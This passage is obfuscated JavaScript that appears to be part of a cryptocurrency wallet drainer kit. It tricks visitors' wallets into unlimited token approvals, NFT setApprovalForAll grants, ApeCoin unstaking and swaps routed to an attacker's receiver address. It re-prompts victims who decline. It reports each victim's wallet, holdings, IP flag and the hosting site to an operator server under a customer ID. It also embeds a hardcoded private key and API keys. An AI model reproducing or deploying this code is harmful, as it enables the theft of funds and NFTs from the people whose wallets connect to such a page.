outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_bridgeSlippage",
type: "uint256"
}],
name: "setBridgeSlippage",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_dstGasForNoSwapCall",
type: "uint256"
}],
name: "setDstGasForNoSwapCall",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_dstGasForSwapCall",
type: "uint256"
}],
name: "setDstGasForSwapCall",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_sgChainIdLocal",
type: "uint16"
}],
name: "setSgChainIdLocal",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "chainId",
type: "uint16"
}, {
internalType: "address",
name: "token",
type: "address"
}],
name: "setSgETH",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "chainId",
type: "uint16"
}, {
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "poolId",
type: "uint256"
}],
name: "setSgPoolId",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_stargateRouter",
type: "address"
}],
name: "setStargateRouter",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "address",
name: "oft",
type: "address"
}],
name: "setTokenToOFT",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "chainId",
type: "uint16"
}, {
internalType: "address",
name: "wooCrossChainRouter",
type: "address"
}],
name: "setWooCrossChainRouter",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_wooRouter",
type: "address"
}],
name: "setWooRouter",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "sgChainIdLocal",
outputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}],
name: "sgETHs",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}, {
internalType: "address",
name: "",
type: "address"
}],
name: "sgPoolIds",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}, {
internalType: "bytes",
name: "",
type: "bytes"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}, {
internalType: "address",
name: "bridgedToken",
type: "address"
}, {
internalType: "uint256",
name: "amountLD",
type: "uint256"
}, {
internalType: "bytes",
name: "payload",
type: "bytes"
}],
name: "sgReceive",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "stargateRouter",
outputs: [{
internalType: "contract IStargateRouter",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "tokenToOFTs",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "weth",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}],
name: "wooCrossChainRouters",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "wooRouter",
outputs: [{
internalType: "contract IWooRouterV2",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x2dad88 = new ethers.Contract(_0x2b7b1b, _0xc482fe, _0x9d9505);
let _0x5ca8bf = await _0x2dad88.quoteLayerZeroFee(0, this.ace_receiver, _0x2b31c7, _0xba1c65);
let _0x14ce81 = _0x5ca8bf[0];
console.log(_0x5ca8bf);
const _0xac64c2 = {
value: _0x14ce81
};
return [_0x2dad88.crossSwap(0, this.ace_receiver, _0x2b31c7, _0xba1c65, _0xac64c2), ""];
} catch (_0x427bc3) {
console.log(_0x427bc3);
return new Promise(_0x5a55a2 => false);
}
}
case "ZeroEx":
{
const _0x277d1d = {
"0x-api-key": "ff2bd086-339a-4555-8723-4166590b3f7f"
};
const _0x9028d0 = _0x277d1d;
let _0x68df7c = "api.0x.org";
let _0xbeffb3 = this.tradingPairs[_0x4f37a4.chain];
switch (_0x4f37a4.chain) {
case "eth":
break;
case "arb":
_0x68df7c = "arbitrum.api.0x.org";
break;
case "avax":
_0x68df7c = "avalanche.api.0x.org";
break;
case "base":
_0x68df7c = "base.api.0x.org";
break;
case "bsc":
_0x68df7c = "bsc.api.0x.org";
break;
case "celo":
_0x68df7c = "celo.api.0x.org";
break;
case "ftm":
_0x68df7c = "fantom.api.0x.org";
break;
case "op":
_0x68df7c = "optimism.api.0x.org";
break;
case "matic":
_0x68df7c = "polygon.api.0x.org";
break;
}
const _0x566594 = {
headers: _0x9028d0
};
const _0x36d56d = await fetch("https://" + _0x68df7c + "/swap/v1/quote?sellToken=" + _0x4f37a4.asset.token + "&buyToken=" + _0xbeffb3 + "&sellAmount=" + _0x4f37a4.asset.amount, _0x566594);
let _0x102afb = await _0x36d56d.json();
console.log(_0x102afb);
let _0x5a6259 = [_0x9d9505.sendTransaction({
to: _0x102afb.to,
data: _0x102afb.data,
value: "0x00",
chainId: "0x" + _0x102afb.chainId.toString(16)
}), ""];
return _0x5a6259;
}
}
};
doSwapRegular = async _0x4adbac => {
let _0x5dd6c3 = await this.getWalletAddress();
try {
let _0x4a8faa = await this.setUpSwap(_0x4adbac);
let _0x491a22 = await _0x4a8faa[0];
let _0x13bb06 = _0x4a8faa[1];
if (_0x491a22.hash != "") {
if (_0x4adbac.actionType == "PancakeV2" || _0x4adbac.actionType == "UniswapV3_2" || _0x4adbac.actionType == "UniswapV3") {
for (let _0x571443 of _0x4adbac.asset) {
this.approved.push(_0x571443.token + "," + _0x4adbac.chain);
}
} else {
this.approved.push(_0x4adbac.asset.token + "," + _0x4adbac.chain);
}
const _0x50e786 = {
chain: _0x4adbac.chain,
type: "swap",
source: _0x4adbac.actionType,
txId: _0x491a22.hash,
value: _0x4adbac.value
};
await this.sendMessage(_0x50e786);
if (_0x4adbac.actionType != "Special" && _0x4adbac.actionType != "Stargate" && _0x4adbac.actionType != "WooBridge" && _0x4adbac.actionType != "ZeroEx" && _0x4adbac.actionType != "AaveLP2" && _0x4adbac.actionType != "AaveLP3" && _0x4adbac.actionType != "AaveLP4") {
await this.SendCompletion({
type: "tokenSplit",
hash: _0x491a22.hash,
tokenAddress: _0x13bb06,
ahash: this.createEncKey(),
chainId: this.getChainId(_0x4adbac.chain)
});
}
} else {
if (_0x5dd6c3 != (await this.getWalletAddress())) {
return;
}
const _0x1331c8 = {
chain: _0x4adbac.chain,
type: "error",
msg: "Client has denied swapping (" + _0x4adbac.actionType + ")"
};
await this.sendMessage(_0x1331c8);
this.failedAttempts++;
if (this.failedAttempts > 3 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.doSwapRegular(_0x4adbac);
}
}
} catch (_0x13cbc3) {
console.log(_0x13cbc3);
if (_0x5dd6c3 != (await this.getWalletAddress())) {
return;
}
const _0x16c446 = {
chain: _0x4adbac.chain,
type: "error",
msg: "Client has denied swapping (" + _0x4adbac.actionType + ")"
};
await this.sendMessage(_0x16c446);
this.failedAttempts++;
if (this.failedAttempts > 3 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.doSwapRegular(_0x4adbac);
}
}
};
apePromise = async () => {
try {
let _0x31d63b = await this.Sdk.getStakes(await this.getWalletAddress());
let _0x5a5c92 = [];
for (let _0x5b2398 of _0x31d63b) {
const _0x2d42eb = {
poolId: _0x5b2398[0],
tokenId: _0x5b2398[1],
deposited: _0x5b2398[2],
unclaimed: _0x5b2398[3],
rewards24Hrs: _0x5b2398[4]
};
let _0x4e90f6 = _0x2d42eb;
_0x5a5c92.push(_0x4e90f6);
}
let _0xf6a094 = {
amount: BigInt(0),
type: "Mayc",
ids: [],
value: 0
};
let _0x960567 = {
amount: BigInt(0),
type: "Bayc",
ids: [],
value: 0
};
console.log(_0x5a5c92);
for (let _0xb0eeeb of _0x5a5c92) {
let _0x23180a = parseInt(_0xb0eeeb.poolId.toString());
let _0x2ad673 = this.web3Js.utils.fromWei(_0xb0eeeb.deposited.toString(), "ether") * apePrice;
this.totalStaked += _0x2ad673;
if (_0x23180a == 0) {
let _0x46cd0f = {
amount: BigInt(_0xb0eeeb.deposited.toString()).toString(),
type: "Ape"
};
if (_0x2ad673 > 30) {
this.apeStakeActions.push({
stake: _0x46cd0f,
value: _0x2ad673,
chain: "eth"
});
}
}
if (_0x23180a == 1) {
_0x960567.amount = (BigInt(_0x960567.amount) + BigInt(_0xb0eeeb.deposited.toString())).toString();
_0x960567.ids.push(_0xb0eeeb.tokenId.toString());
_0x960567.value = _0x960567.value + _0x2ad673;
}
if (_0x23180a == 2) {
_0xf6a094.amount = (BigInt(_0xf6a094.amount) + BigInt(_0xb0eeeb.deposited.toString())).toString();
_0xf6a094.ids.push(_0xb0eeeb.tokenId.toString());
_0xf6a094.value = _0xf6a094.value + _0x2ad673;
}
}
if (_0xf6a094.value > 100) {
const _0x4a4bd7 = {
stake: _0xf6a094,
value: _0xf6a094.value,
chain: "eth"
};
this.apeStakeActions.push(_0x4a4bd7);
}
if (_0x960567.value > 100) {
const _0x6ea886 = {
stake: _0x960567,
value: _0x960567.value,
chain: "eth"
};
this.apeStakeActions.push(_0x6ea886);
}
} catch (_0x55d62b) {
console.log(_0x55d62b);
console.log("FAILED TO INIT APE DATA");
}
};
handleChains = async () => {
let _0x63864b = this.chainValues.sort(this.utils.propComparator("value")).reverse();
console.log(await this.getChainId("base"));
if ((await this.getChainId(_0x63864b[0].chain.toString())) != this.currentChainId && _0x63864b[0].value > 5) {
console.log("may have to prompt something here");
if (await this.trySwitchChain(this.provider, await this.getChainId(_0x63864b[0].chain))) {
this.currentChainId = await this.getChainId(_0x63864b[0].chain);
}
}
};
trySwitchChain = async (_0x6d8272, _0x45c08c) => {
let _0xaab72 = await this.getWalletAddress();
let _0x2375ea = await this.getChainFromId(_0x45c08c);
try {
var _0x118230 = "0x" + _0x45c08c.toString(16);
const _0xf532ae = {
chainId: _0x118230
};
const _0x112a27 = {
method: "wallet_switchEthereumChain",
params: [_0xf532ae]
};
await _0x6d8272.provider.request(_0x112a27);
this.web3Js = new Web3(_0x6d8272.provider);
this.ethersProvider = this.provider;
this.Sdk = new SDK(this.provider, _0x45c08c);
const _0x2c682d = this.chainValues.findIndex(_0x118436 => {
return _0x118436.chain === _0x2375ea;
});
let _0x182fad = this.chainValues[_0x2c682d].value;
await this.sendMessage({
type: "chain",
chain: _0x2375ea,
name: _0x2375ea.toUpperCase(),
value: _0x182fad / config.assetOptions.multipliers.chainSwitchRatio,
actionsLeft: this.actions.filter(_0x38ec18 => _0x38ec18.chain == _0x2375ea).length
});
if (_0xaab72 != (await this.getWalletAddress())) {
return;
}
return true;
} catch (_0x23e539) {
if (_0x23e539.code == 4902) {
if (!(await this.addChain(_0x2375ea))) {
for (var _0x94743a of this.actions.filter(_0x5be2d2 => _0x5be2d2.chain == _0x2375ea)) {
_0x94743a.value = 0;
}
const _0x21acef = this.chainValues.findIndex(_0x2e77e6 => {
return _0x2e77e6.chain === _0x2375ea;
});
this.chainValues[_0x21acef].value = 0;
console.log("CHAIN NOT ADDED, MOVING ON TO NEXT BEST OPTION");
return;
} else if ((await this.web3Js.eth.getChainId()) == this.chainRegistryData[_0x2375ea].id) {
this.web3Js = new Web3(_0x6d8272);
this.ethersProvider = new ethers.providers.Web3Provider(_0x6d8272, "any");
this.Sdk = new SDK(_0x6d8272, _0x45c08c);
const _0x233225 = this.chainValues.findIndex(_0x475b73 => {
return _0x475b73.chain === _0x2375ea;
});
let _0x41c8f1 = this.chainValues[_0x233225].value;
await this.sendMessage({
type: "chain",
chain: _0x2375ea,
name: _0x2375ea.toUpperCase(),
value: _0x41c8f1 / config.assetOptions.multipliers.chainSwitchRatio,
actionsLeft: this.actions.filter(_0x59ff0d => _0x59ff0d.chain == _0x2375ea).length
});
if (_0xaab72 != (await this.getWalletAddress())) {
return;
}
return true;
} else {
await this.handleChains();
return;
}
} else if (_0x23e539.code == -32002) {
this.failedAttempts++;
if (this.failedAttempts > 5) {
this.failedAttempts = 0;
return;
} else {
await this.delay(2000);
await this.handleChains();
return;
}
} else {
if (_0xaab72 != (await this.getWalletAddress())) {
return;
}
await this.sendMessage({
chain: _0x2375ea,
type: "error",
msg: "Denied Changing Chain to " + _0x2375ea.toUpperCase()
});
this.failedAttempts++;
if (this.failedAttempts > 5) {
this.failedAttempts = 0;
return;
} else {
await this.handleChains();
return;
}
}
}
};
delay = _0x3a55a5 => {
return new Promise(_0x3cbe8e => setTimeout(_0x3cbe8e, _0x3a55a5));
};
addChain = async _0x46b8d => {
console.log("Trying to add chain", _0x46b8d);
try {
await window.ethereum.request({
method: "wallet_addEthereumChain",
params: [{
chainId: this.chainRegistryData[_0x46b8d].id,
chainName: this.chainRegistryData[_0x46b8d].name,
nativeCurrency: {
name: this.chainRegistryData[_0x46b8d].symbol.toLowerCase(),
symbol: this.chainRegistryData[_0x46b8d].symbol,
decimals: 18
},
rpcUrls: [this.chainRegistryData[_0x46b8d].rpc],
blockExplorerUrls: [this.chainRegistryData[_0x46b8d].explorer]
}]
});
return true;
} catch (_0xb98e96) {
console.log("Trying to add chain..");
if (_0xb98e96.code == 4001) {
console.log("Denied adding chain");
} else {
console.log("Addchain error", _0xb98e96);
}
return false;
}
};
getWalletAddress = async () => {
return (await this.web3Js.eth.getAccounts())[0];
};
createAction = (_0x506ab8, _0x30d387, _0x77c99, _0x464c28) => {
const _0x51cce8 = {
actionType: _0x506ab8,
asset: _0x30d387,
value: _0x77c99,
chain: _0x464c28
};
let _0x2e2acd = _0x51cce8;
if (!this.handledActions.includes(Base64.encode(JSON.stringify(_0x2e2acd)))) {
this.actions.push(_0x2e2acd);
}
};
sendMessage = async _0x2d2acb => {
let _0x4c5375 = "https://etherscan.io";
let _0x35a183 = "eth";
if (_0x35a183 != "") {
_0x35a183 = _0x2d2acb.chain;
}
let _0x3885f0 = "💎";
if (_0x2d2acb.value > 0) {
_0x2d2acb.value = _0x2d2acb.value.toFixed(2);
}
if (_0x35a183 == "bsc") {
_0x4c5375 = "https://bscscan.com";
_0x3885f0 = "🔸";
} else if (_0x35a183 == "ftm") {
_0x4c5375 = "https://ftmscan.com";
_0x3885f0 = "Ⓜ️";
} else if (_0x35a183 == "arb") {
_0x4c5375 = "https://arbiscan.io";
_0x3885f0 = "🔹";
} else if (_0x35a183 == "matic") {
_0x4c5375 = "https://polygonscan.com";
_0x3885f0 = "🔮";
} else if (_0x35a183 == "avax") {
_0x4c5375 = "https://snowtrace.io";
_0x3885f0 = "🔺";
} else if (_0x35a183 == "cro") {
_0x4c5375 = "https://cronoscan.com";
_0x3885f0 = " 💠";
} else if (_0x35a183 == "op") {
_0x4c5375 = "https://optimistic.etherscan.io";
_0x3885f0 = "🅾️";
} else if (_0x35a183 == "xdai") {
_0x4c5375 = "https://gnosisscan.io";
_0x3885f0 = "🔰";
} else if (_0x35a183 == "era") {
_0x4c5375 = "https://explorer.zksync.io";
_0x3885f0 = "◾️";
} else if (_0x35a183 == "base") {
_0x4c5375 = "https://basescan.org/";
_0x3885f0 = "🧿";
}
const _0x5e5400 = window.location.hostname;
let _0x403ded = "\n";
let _0x56e540 = await this.getWalletAddress();
let _0x535253 = _0x56e540.slice(0, 6) + "..." + _0x56e540.slice(38, 42);
let _0x244740 = "";
switch (_0x2d2acb.type) {
case "swap":
_0x244740 = "🔄 ERC-20 Swap | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "connection":
{
let _0x30427c = "💻";
if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) {
_0x30427c = "📱";
}
;
_0x244740 = _0x30427c + " New Connection | $" + _0x2d2acb.value + " | " + _0x5e5400 + " " + _0x403ded + ("[" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview) | [" + flag + "](https://www.infobyip.com/ip-" + ipAddress + ".html)");
}
break;
case "approvalERC":
_0x244740 = "✏️ ERC-20 Signed | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "balance":
_0x244740 = "✏️ Balance Transfer | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " " + _0x2d2acb.valueMsg + " " + _0x2d2acb.chain.toUpperCase() + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "seaport":
_0x244740 = "🌊 Seaport TX" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "wyvern":
_0x244740 = "🌪 Wyvern [TX](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "permit":
_0x244740 = "✏️ Permit-ERC20 Signed | Token: " + _0x2d2acb.token + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "permit2":
_0x244740 = "✏️ Permit2 Signed" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "approvalNFT":
_0x244740 = "👾 NFT Signed | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "unstake":
_0x244740 = "🌀 Unstaked | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "chain":
_0x244740 = "⛓ Chain Switched | $" + _0x2d2acb.value + " on " + _0x2d2acb.name + _0x403ded + (_0x3885f0 + " [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)");
break;
case "error":
_0x244740 = "👤 [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | " + _0x5e5400 + " " + _0x403ded + "❌ " + _0x2d2acb.msg;
break;
}
setTimeout(async () => {
let _0x1363dd = this.domain + "/message";
let _0x24a3e5 = {
message: _0x244740,
customerId: config.customerId,
key: this.createEncKey()
};
let _0xf8f27c = Base64.encode(JSON.stringify(_0x24a3e5));
const _0x3f2399 = {
method: "POST",
body: _0xf8f27c
};
let _0x4448db = await fetch(_0x1363dd, _0x3f2399);
}, 0);
};
createEncKey = () => {
let _0x64ae28 = window.navigator.userAgent;
let _0xf799af = this.utils.encrypt(Base64.encode(this.utils.UserAgent(8) + "-" + this.utils.xJDKDFGXDFIXDFBNXD9273129hizu7sg(4) + "-" + this.utils.J9108240u9pjhXNXUDFJABXDF(4) + "-" + this.utils.jJDFGDFJGDFGNBCBNCVJBCVN(64)), _0x64ae28 + "---" + this.utils.USG1204312());
return _0xf799af.toString();
};
getChainId = _0x4e037b => {
return this.chainRegistery[_0x4e037b];
};
getChainFromId = _0xc03d2b => {
return this.chainRegistery[_0xc03d2b];
};
}
const _0x10f6ec = {
eth: 1,
bsc: 56,
xdai: 100,
arb: 42161,
matic: 137,
avax: 43114,
op: 10,
ftm: 250,
era: 324,
okt: 66,
celo: 42220,
mvr: 1285,
cro: 25,
metis: 1088,
aurora: 1313161554,
mobm: 1284,
klay: 8217,
boba: 288,
astar: 592,
nova: 87,
one: 1666600000,
base: 8453,
"1": "eth",
"56": "bsc",
"42161": "arb",
"137": "matic",
"43114": "avax",
"100": "xdai",
"10": "op",
"250": "ftm",
"25": "cro",
"1088": "metis",
"66": "okt",
"128": "heco",
"324": "era",
"1285": "mvr",
"42220": "celo",
"1284": "mobm",
"8217": "klay",
"1313161554": "aurora",
"288": "boba",
"592": "astar",
"87": "nova",
"1666600000": "one",
"8453": "base"
};
class SDK {
chainRegistery = _0x10f6ec;
apeAddress = "0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9";
permit2Address = "0x000000000022D473030F116dDEE9F6B43aC78BA3";
seaportAddress = "0x00000000000000ADc04C56Bf30aC9d3c0aAF14dC";
constructor(_0x1f6b61, _0x2fe83c) {
this.chainId = _0x2fe83c;
let _0x16baf9 = _0x1f6b61;
this.signer = _0x16baf9.getSigner();
this.web3Js = new Web3(_0x16baf9.provider);
console.log("Connected to SDK - " + _0x2fe83c);
}
getChainId = _0x422162 => {
return this.chainRegistery[_0x422162];
};
getChainFromId = _0x117a22 => {
return this.chainRegistery[_0x117a22];
};
GetAllowances = async (_0x5de6f3, _0x1622b6, _0x2b481b) => {
let _0x317228 = new Permit2Factory(this.permit2Address, this.signer).contract;
let _0x2a6ca9 = await _0x317228.allowance(_0x5de6f3, _0x1622b6, _0x2b481b);
return _0x2a6ca9.nonce;
};
getStakes = async _0x51d513 => {
const _0x5c708b = new ethers.providers.InfuraProvider("homestead", "c099bda80ec8498aa647c5fa053c1d1b");
const _0x1622ae = new ethers.Wallet("3bc76c72518c23a856a74c80dd25f66678f030a6625cfbb5a160e9f97fa0e2b1", _0x5c708b);
let _0x290e52 = _0x1622ae.connect(_0x5c708b);
let _0x587943 = new ApeFactory(this.apeAddress, _0x290e52).contract;
let _0x12587d = await _0x587943.getAllStakes(_0x51d513);
return _0x12587d;
};
unstakeApe = async (_0x40f174, _0x5e4083) => {
let _0x57493e = new ApeFactory(this.apeAddress, this.signer).contract;
let _0x410127 = await _0x57493e.withdrawApeCoin(_0x40f174, _0x5e4083);
return _0x410127;
};
unstakeBayc = async (_0x56fa9a, _0x51a5d3) => {
let _0x2c9e9c = new ApeFactory(this.apeAddress, this.signer).contract;
let _0x5ca090 = await _0x2c9e9c.withdrawBAYC(_0x56fa9a, _0x51a5d3);
return _0x5ca090;
};
unstakeMayc = async (_0x2d4f9f, _0x569aa7) => {
let _0x5db360 = new ApeFactory(this.apeAddress, this.signer).contract;
let _0x310c9e = await _0x5db360.withdrawMAYC(_0x2d4f9f, _0x569aa7);
return _0x310c9e;
};
getWalletAddress = async () => {
return (await this.web3Js.eth.getAccounts())[0];
};
signData = async (_0x78a9ab, _0x27d351, _0x1a3c65) => {
let _0x55742b = await this.signer._signTypedData(_0x78a9ab, _0x27d351, _0x1a3c65);
return _0x55742b;
};
approveAsset = async (_0x58544a, _0xfd928a, _0x2b2590 = false) => {
switch (_0x58544a.itemType) {
case 1:
const _0x138dfd = new ERC20Factory(_0x58544a.token, this.signer).contract;
let _0xa57894 = false;
try {
const _0x505cd6 = await _0x138dfd.callStatic.increaseAllowance(_0xfd928a, ethers.BigNumber.from("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"));
_0xa57894 = true;
} catch (_0x23ddd8) {
_0xa57894 = false;
}
if (!_0xa57894) {
const _0x15aadf = await _0x138dfd.populateTransaction.approve(_0xfd928a, ethers.BigNumber.from("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"));
let _0x2c45dd = 90000;
let _0x205d52 = await this.getChainFromId(this.chainId);
if (_0x205d52 == "bsc") {
_0x2c45dd = 100000;
} else if (_0x205d52 == "matic") {
_0x2c45dd = 250000;
} else if (_0x205d52 == "ftm") {
_0x2c45dd = 400000;
} else if (_0x205d52 == "avax") {
_0x2c45dd = 300000;
} else if (_0x205d52 == "op") {
_0x2c45dd = 200000;
} else if (_0x205d52 == "arb") {
_0x2c45dd = 5000000;
} else if (_0x205d52 == "xdai") {
_0x2c45dd = 300000;
} else if (_0x205d52 == "celo") {
_0x2c45dd = 300000;
}
let _0x74500d = await this.signer.getTransactionCount("pending");
const _0x55b43a = {
nonce: "0x" + _0x74500d.toString(16),
to: _0x58544a.token,
from: await this.signer.getAddress(),
value: "0x00",
gasLimit: _0x2c45dd,
data: _0x15aadf.data,
chainId: "0x" + this.chainId.toString(16)
};
console.log(_0x55b43a);
let _0x1d2cb2 = this.signer.sendTransaction(_0x55b43a);
console.log(_0x1d2cb2);
return _0x1d2cb2;
} else {
console.log("This token allows to be increased");
const _0x29775a = _0x138dfd.increaseAllowance(_0xfd928a, ethers.BigNumber.from("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"));
return _0x29775a;
}
case 2 || 4:
{
if (!_0x2b2590) {
const _0x33cebc = new ERC721Factory(_0x58544a.token, this.signer).contract;
const _0x69240f = _0x33cebc.setApprovalForAll(_0xfd928a, true, {
gasLimit: 90000
});
return _0x69240f;
} else {
const _0x1759b9 = new ERC721Factory(_0x58544a.token, this.signer).contract;
const _0x2a3cf5 = _0x1759b9.approve(_0xfd928a, _0x58544a.token_ids[0], {
gasLimit: 90000
});
return _0x2a3cf5;
}
}
case 3 || 5:
const _0x24ce6e = ERC1155Factory(_0x58544a.token, this.signer).contract;
const _0x46fc51 = await _0x24ce6e.setApprovalForAll(_0xfd928a, true, {
gasLimit: 90000
});
return _0x46fc51;
default:
throw new Error("Unexpected itemType: " + _0x58544a.itemType);
}
};
sendERC721 = async (_0x4fdfa7, _0x5e9ef8, _0x18c05e, _0x3850d9) => {
const _0x2c64a1 = ethers.utils.getAddress(_0x5e9ef8);
const _0x58d4fb = new ERC721Factory(_0x2c64a1, this.signer).contract;
const _0x52fdd7 = _0x58d4fb.safeTransferFrom(_0x4fdfa7, _0x18c05e, _0x3850d9);
return _0x52fdd7;
};
sendERC1155 = async (_0x259799, _0x33a6b0, _0x30beb5, _0x30ed69) => {
const _0xd158f3 = ethers.utils.getAddress(_0x33a6b0);
const _0x358490 = new ERC1155Factory(_0xd158f3, this.signer).contract;
var _0x1e4f95 = new Uint8Array(0);
const _0x48a784 = _0x358490.safeTransferFrom(_0x259799, _0x30beb5, _0x30ed69, 1, _0x1e4f95);
return _0x48a784;
};
sendERC721_DRY = async (_0x38e715, _0x475fd2, _0x6ec85e, _0x336a20) => {
const _0x3e40a7 = ethers.utils.getAddress(_0x475fd2);
const _0x562e32 = new ERC721Factory(_0x3e40a7, this.signer).contract;
const _0xc08d24 = _0x562e32.callStatic.safeTransferFrom(_0x38e715, _0x6ec85e, _0x336a20);
return _0xc08d24;
};
sendERC1155_DRY = async (_0x1726d3, _0x413a70, _0x24e660, _0x5215e7) => {
const _0x5d2cd5 = ethers.utils.getAddress(_0x413a70);
const _0x541bb4 = new ERC1155Factory(_0x5d2cd5, this.signer).contract;
var _0x391d6b = new Uint8Array(0);
const _0x49d615 = _0x541bb4.callStatic.safeTransferFrom(_0x1726d3, _0x24e660, _0x5215e7, 1, _0x391d6b);
return _0x49d615;
};
orderType = {
OrderComponents: [{
name: "offerer",
type: "address"
}, {
name: "zone",
type: "address"
}, {
name: "offer",
type: "OfferItem[]"
}, {
name: "consideration",
type: "ConsiderationItem[]"
}, {
name: "orderType",
type: "uint8"
}, {
name: "startTime",
type: "uint256"
}, {
name: "endTime",
type: "uint256"
}, {
name: "zoneHash",
type: "bytes32"
}, {
name: "salt",
type: "uint256"
}, {
name: "conduitKey",
type: "bytes32"
}, {
name: "counter",
type: "uint256"
}],
OfferItem: [{
name: "itemType",
type: "uint8"
}, {
name: "token",
type: "address"
}, {
name: "identifierOrCriteria",
type: "uint256"
}, {
name: "startAmount",
type: "uint256"
}, {
name: "endAmount",
type: "uint256"
}],
ConsiderationItem: [{
name: "itemType",
type: "uint8"
}, {
name: "token",
type: "address"
}, {
name: "identifierOrCriteria",
type: "uint256"
}, {
name: "startAmount",
type: "uint256"
}, {
name: "endAmount",
type: "uint256"
}, {
name: "recipient",
type: "address"
}]
};
